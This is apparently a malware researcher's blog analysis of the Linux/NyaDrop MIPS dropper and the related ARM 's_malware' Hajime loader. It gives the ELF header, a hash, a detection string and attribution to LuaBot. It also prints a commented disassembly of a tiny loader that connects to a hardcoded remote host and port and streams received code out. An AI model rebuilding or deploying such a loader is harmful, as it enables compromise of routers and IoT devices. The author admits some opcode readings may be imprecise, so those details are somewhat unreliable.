    As per mentioned in the above sections, the ELF binary of MIPS x32, static and stripped, was saved with the name of the "nyadrop" on the targeted MIPS device. The header is as follows:

    SHA1 (nyadrop) = "095bb52056d00f0d93bba78e4b5b56313de7b79f"
    Size = "621 bytes"
    "ELF Header:"
      Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
      Class:                             ELF32
      Data:                              2's complement, big endian
      Version:                           1 (current)
      OS/ABI:                            UNIX - System V
      ABI Version:                       0
      Type:                              EXEC (Executable file)
      Machine:                           MIPS R3000
      Version:                           0x1
      Entry point address:               0x400090
      Start of program headers:          52 (bytes into file)
      Start of section headers:          500 (bytes into file)
      Flags:                             0x10001004, cpic, o32, mips2
      Size of this header:               52 (bytes)
      Size of program headers:           32 (bytes)
      Number of program headers:         2
      Size of section headers:           40 (bytes)
      Number of section headers:         3
      Section header string table index: 2
    "Section Headers:"
      [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
      [ 0]                   NULL            00000000 000000 000000 00      0   0  0
      [ 1] .text             PROGBITS        00400090 000090 000150 00  AX  0   0 16
      [ 2] .shstrtab         STRTAB          00000000 0001e0 000011 00      0   0  
    If you see the size, we are dealing with a small executable file. It's a clean libc compiled ELF from coded in C in such form that we see much in shellcodes. Insides is filled with the MIPS opcodes. We dealt before with the similar small ELF malware before in the following posts in here [link] and here [link], I will try to deal with this one too :)

    Small size yes? But it is amazing to see what this small malicious ELF can do..

    There's not so much strings that can be extracted by this binary..

    However, the ASCII keyword of "ny4Ba" is a good way to grep for the easy filtration or one of the condition in filtering this malware (current) version for the mitigation / signature purpose.

    Reversing the ELF Linux/Nyadrop

    For the reversing method. I was using my usual way like with previous ELF malware or botnet analysis, with using radare2, some syscall analyzers in skeleton2 and some manual opcode reading.

    Let's see reversing pad with a lot of comments I made in the screenshot below for the details on how this binary works, you'll get the idea better than reading my long explanation.

    PS: Generally, the malicious functions in this ELF malware was reversed well. But please bear for some "bad reading" on some MIPS opcodes or address, which I think I may miss some few minor parts. Switching from Intel to ARM, PPC and MIPS opcodes reading is sometimes a bit hard to adapt quickly. Moreover I had only several hours to translate them to catch my sleeping time.

    Who is behind this Linux/NyaDrop

    A spotted incident was reported that the "nya" file dropped by Linux/NyaDrop was Linux/LuaBot sample, unfortunately I can not have the consent to publish the detail from the victim. Seeking further of this relation the Linux/LuaBot relation to the Linux/NyaDrop can be clearly shown in the recent method used by LuaBot's coder/herder to infect compromised routers by Linux/NyaDrop, as per seen below:

    Detection, sample and follow-ups

    The detection is bad, and you can expect multiple hash will be created per injected ELF of Linux/NyaDrop due to its nature of infection. Please avoid the hash base signature since it will be very meaningless, just as the Linux/Mayhem case [link](drop-able by spreader via multiple circumstances by script/shell).

    Below is the screenshot I took AFTER I uploaded the sample to the VirusTotal:

    *) You can click the picture for directly viewing the report in VirusTotal.

    I understand that many people may not be as lucky as I am in gaining the sample of this threat. There is a good explanation for it, and that, I can not describe openly in this post for the security reason, since the known very bad actor who involved to this threat are reading this blog too (yeah, by now, I know who you are skiddo, so we meet AGAIN in this threat too).

    My tip for trapping this threat better is: Give the bad actors anything he wants. < read between the line.

    Since I received so many requests from fellow research and IR folks for the sample, I will share the sample to the good vetted close research community. In the mean time please bear with the Virus Total sharing [link]
    If you need the text data of my reversing draft or log as per screenshot ones, or more questions on howto grab this samples better, please contact me, all data is available to be shared to good guys only.

    [additional] ELF NyaDrop differences to "s_malware" (later I defined as Hajime ELF loader)

    WARNING: This section is a research material in a friendly manners, and it is NOT affected any entities to whom any related individual is working with or working for, these are strictly exchange friendly reversing opinions between malware researchers.

    My friend Mr. Korolev, a good Linux threat researcher & reverser, was bringing this issue to my attention (with thank's). as he informed:

    The first time I saw the tweet, what I had in mind was: Why all of my ARM wasn't hit then? Since I have much more ARM devices than MIPS in all over internet now, it should fetch something than just only few of MIPS. The second thought was.. I must get off this bus to check this sample it..this just "can't wait!" ( I did, opening my OSX and checked the sample in a bus halt afterward). Thank you for Dr. J. Ulrich from SANS ISC to bring this up to us for the awareness.

    So I replied with below:

    With further elaboration:

    ...with an extra "howler" from r2 devleader "pancake" for being "cought-in-the-act" using r2 older (FreeBSD port) version...cry :'-/

    Twitter is VERY limited to explain the stuff thoroughly, so allow me to elaborate some details in here:

    Mr. Korolev was not incorrect by saying the s_malware ELF trojan dropped in Dr. Johannes B. Ullrich,Ph.D., of ISC reported case [link] as s_malware, as "similar" in type of trojan to Linux/NyaDrop, which is a backdoor, and a file dropper, however, it is not Linux/NyaDrop nor coded in same C code as Linux/NyaDrop, so it could be made by different coder or actor or threat scene.

    Dissecting s_malware (later I call this as Hajime malware loader)

    In s short explanation about how this ARM s_malware works is: it uses syscall sys_socketcall() to create a sys_socket and then uses uses syscall sys_socketcall() again to call connect() to open a connection to the remote address saved in the struct in hex format hardcoded in the binary, and uses sys_socketcall() again for now invoking system call sys_revc() to read data sent from remote host via AF_INET, and lastly to then directly calling sys_write() to print the sent data to STDOUT if the stream of data is still in coming, or to exit if the data is ended.

    It is a smallest way to code (in programming perspective) since it seems only uses two linux syscalls address number and one service_0(interrupt used to call exit) or the overall operations, yet it is a bad idea (in malware perspective) since it is so guessable (I think I remember all socketcall number), the values in net.h for socketcall numberis easy to remember, the usage of svc0 (=interrupt 80 in intel) to invoke syscall exit() by passing arguments of unistd_{YOUR_BIT}.h which it is also very readable, at least to me :)

    Understanding that the ELF header and program headers are well, and entry0 is where the execution code starts, I break it down per opcodes to understand how it assembly command works, with the result like below, (replacing diagram flow picture), with commenting the process that is actually happen behind those commands. The result is as follows:

    0x10054 | __entry0     |       |                 
    0x10054 |              | mov   | r0, #2          ; socket domain = 2   // AF_INET
    0x10058 |              | mov   | r1, #1          ; socket type = 1     // SOCK_STREAM
    0x1005c |              | mov   | r2, #6          ; socket protocol = 6 // TCP
    0x10060 |              | stmfd | sp!, {r0-r2}    ; (restore) {NULL}
    0x10064 |              | mov   | r0, #1          ; socketcall ref number = 1 => sys_socket
    0x10068 |              | mov   | r1, sp          ; set pointer of array args to socket()
    0x1006c |              | svc   | 0x900066        ; sys_socketcall=> socket(AF_INET, SOCKSTREAM, 6)
    0x10070 |              | add   | sp, sp, #0xc    ; sockfd
    0x10074 |              | mov   | r6, r0
    0x10078 |              | adr   | r1, c2_struct   ; c2_struct{AF_INET ; port = 4636 ; ip =}
    0x1007c |              | mov   | r2, #0x10       ; connect length = 16
    0x10080 |              | stmfd | sp!, {r0-r2}    ; (restore) sockfd
    0x10084 |              | mov   | r0, #3          ; socketcall ref number = 3 => sys_connect
    0x10088 |              | mov   | r1, sp          ; set pointer of array args to connect()
    0x1008c |              | svc   | 0x900066        ; sys_socketcall => connect()
    0x10090 |              | add   | sp, sp, #0x14   ; (for asm ops //20)
    0x10094 |              | sub   | r4, sp, #0x13c  ; (for asm ops //316)
    0x10098 |              | sub   | r5, r5, r5      ; initiate counter with r5
    0x1009c | __rcv_loop__ |       |
    0x1009c |              | mov   | r0, r6          ; stack base reset/back
    0x100a0 |              | mov   | r1, r4
    0x100a4 |              | mov   | r2, #0x12c      ; recv buffer = 300
    0x100a8 |              | mov   | r3, #0x100      ; recv size = 256
    0x100ac |              | stmfd | sp!, {r0-r3}    ; (restore) sockfd
    0x100b0 |              | mov   | r0, #0xa        ; socketcall ref number = 0xA = sys_recv
    0x100b4 |              | mov   | r1, sp          ; set pointer of array args to recv()
    0x100b8 |              | svc   | 0x900066        ; sys_socketcall => sys_recv (sockfd, buffer, size, flag)
    0x100bc |              | add   | sp, sp, #0x10   ; (for asm ops //16)
    0x100c0 |              | add   | r5, r5, r0      ; counting counter loops, see ends in r0
    0x100c4 |              | cmp   | r0, #0          ; compare if r0 = 0, for exit NOERR flag as args
    0x100c8 |              | ble   | __to_exit__     
    0x100cc |              | mov   | r2, r0
    0x100d0 |              | mov   | r0, #1  ; r0 = 1; target arg for write() = 1 => STDOUT
    0x100d4 |              | mov   | r1, r4
    0x100d8 |              | svc   | 0x900004        ; write(STDOUT, data, 256);
    0x100dc |              | b     | __rcv_loop__    
    0x100e0 | __to_exit__  |       |
    0x100e0 |              | add   | sp, sp, #0x13c  ; (for asm ops //136)
    0x100e4 |              | sub   | r0, r0, r0      ; nulling r0
    0x100e8 |              | mov   | r7, #1          ; arg 1 sent for svc_0
    0x100ec |              | svc   | 0               ; svc_0 got arg number 1 (unistd.h) = sys_exit(0)
    0x100f0 | c2_struct    | db 0x2                  ; 2 = AF_INET
    0x100f1 |              | db 0x0                  ; delimeter
    0x100f2 |              | db 0x1c12               ; port_number = hex (1c12) = 4636
    0x100f4 |              | db 0x425893be           ; ip = hex(be 83 58 42) =

    See the above code and compare to how Linux/NyaDrop was coded in reversing section on Nyadrop loader.

    The reasons that s_malware ELF is not the Linux/NyaDrop are:

    (1) Linux/NyaDrop is directly using syscall number address for syscall connect() and syscall recv(), instead using syscall socketcall() index to invoke socket, connect or recv for receiving the data from connected remote host.
    (2) Linux/NyaDrop is using syscall execve() to execute the dropped file after writing data into "nya" file was done, but there's no usage of any execution syscalls is made in the s_malware. Instead Nyadrop is PIPE-ing the resut into STDOUT to be redirected to a file by either script or other command. so it is just a download/loader module of shell/program that is having execution part.
    (3) The "nya" filename is only hard-codedin the ELF nyadrop binary.

    There are plenty of small ELF backdoors/backconnect using the similar or even smarter concept in unixland. Linux/NyaDrop was designed as a sophisticated form in a smaller size as possible (621 bytes) with all correct calls coded intact. s_malware is about 484 bytes. There are more ways to make it even smaller, but remember this, that also will reveal the source of the coder well too.

    The s_malware in hex:

    You can see in hex that the ELF structure of s_malware file is a bit different than NyaDrop.

    Thank you for the News & Internet Media publishment

    This section is dedicated to the IT threat journalists, who are so kindly help to raise awareness on Linux/NyaDrop threat. Their fast action and the effort in learning the indicators and nature of the NyaDrop threat is just marvellous, we have nothing to give these gents back except our hard work, thank you, and respect. Following are the notification and for others who hasn't been mentioned I am sorry, and will update as soon as I cam. Again, thank you.

    Thank you to "Softpedia" & Mr. Catalin Cimpanu for speedy understanding & grasping the importance of awareness for Linux/NyaDrop in releasing the awareness of the threat by his article-->[link]. You can read a good summary for the threat in here.

    Many thank's for "Odisseus", whitehat researcher and/or Mr. Pierluigi Paganini of "Security Affrair" for the interview arrangement on Linux/NyaDrop, you can see in this article-->[link]. You can read the insights details about the threat information, which was "cleverly" asked by Odisseus in here.

    I thank also Mr. David M. Bisson of "Graham Cluley Blog" article [link], and Mr. Ionut Arghire with summarizing recent updates on Linux/NyaDrop in "Security Week" article [link].

    Stay save friends!

    Reversed, written and analyzed by @unixfreaxjp [link] on October 13th 2016.